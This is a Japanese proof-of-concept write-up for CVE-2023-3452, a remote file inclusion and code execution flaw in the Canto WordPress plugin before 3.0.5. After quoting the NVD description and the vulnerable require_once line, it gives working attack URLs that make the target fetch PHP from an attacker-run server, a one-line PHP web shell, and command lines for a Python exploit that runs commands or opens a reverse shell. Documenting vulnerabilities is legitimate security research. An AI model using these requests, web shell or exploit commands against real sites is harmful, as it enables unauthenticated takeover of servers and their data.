
WordPress プラグイン Canto < 3.0.5 - リモートファイルインクルージョン (RFI) および リモートコード実行 (RCE)
ここでは、Canto Wordpressプラグインの最新のRFI(リモートファイルインクルージョン)脆弱性のPoCを説明し、コマンド実行を自動化するエクスプロイトを開発しました。
「WordPress用Cantoプラグインは、3.0.4までのバージョン(3.0.4を含む)において、'wp_abspath'パラメータを介したリモートファイルインクルージョンに対して脆弱です。これにより、allow_url_includeが有効になっている場合、未認証の攻撃者がサーバー上で任意のリモートコードをインクルードして実行できる可能性があります。ローカルファイルインクルージョンも可能ですが、攻撃者がFTPやその他の手段で悪意のあるPHPファイルをWebサーバーが読み取り可能なディレクトリにアップロードできる必要があるため、それほど有用ではありません。」(https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
このエクスプロイトは、次のコード行 includes/lib/download.php に見られるように、wp_abspathパラメータのバグを悪用します:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
この脆弱性を悪用するには、PHP設定で allow_url_include=On パラメータが有効になっていることも必要です。
このパラメータを、PHPコードが解釈される自前のWebサーバーに向けてリクエストを送信することが可能です。例えば、次のリクエストを送信すると、自前のサーバーでリクエストを受信したことを確認できます:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

サーバーが /wp-admin/admin.php ファイルを呼び出すことがわかります。そこで、ディレクトリを作成して admin.php ファイルに悪意のあるPHPコードを追加すれば、脆弱なサーバーがそのコードをダウンロードして正しく実行します。
例えば、admin.php ファイルにPHP Webシェル <?php system($_GET['cmd']); ?> を記述すると、リモートでコードを実行できます。
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

これらすべてはPythonエクスプロイト CVE-2023-3452.py で自動化されています。
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
